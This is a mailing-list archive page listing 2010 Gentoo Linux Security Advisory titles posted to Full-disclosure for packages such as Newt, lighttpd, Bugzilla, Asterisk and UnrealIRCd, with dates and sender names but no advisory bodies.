- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 201006-13 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - -

[Full-disclosure] [ GLSA 201006-14 ] Newt: User-assisted execution of arbitrary code

2010-06-02 Thread Alex Legler
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 201006-14 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - -

[Full-disclosure] [ GLSA 201006-16 ] GD: User-assisted execution of arbitrary code

2010-06-03 Thread Alex Legler
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 201006-16 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - -

[Full-disclosure] [ GLSA 201006-15 ] XEmacs: User-assisted execution of arbitrary code

2010-06-03 Thread Alex Legler
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 201006-15 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - -

[Full-disclosure] [ GLSA 201006-17 ] lighttpd: Denial of Service

2010-06-03 Thread Alex Legler
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 201006-17 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - -

[Full-disclosure] [ GLSA 201006-18 ] Oracle JRE/JDK: Multiple vulnerabilities

2010-06-03 Thread Alex Legler
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 201006-18 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - -

[Full-disclosure] [ GLSA 201006-19 ] Bugzilla: Multiple vulnerabilities

2010-06-03 Thread Alex Legler
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security AdvisoryGLSA 201006-19:02 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - -

[Full-disclosure] [ GLSA 201006-20 ] Asterisk: Multiple vulnerabilities

2010-06-03 Thread Alex Legler
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 201006-20 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - -

[Full-disclosure] [ GLSA 201006-21 ] UnrealIRCd: Multiple vulnerabilities

2010-06-14 Thread Alex Legler
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 201006-21 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - -

[Full-disclosure] [ GLSA 201009-01 ] wxGTK: User-assisted execution of arbitrary code

2010-09-02 Thread Alex Legler
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 201009-01 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - -

  1   2   >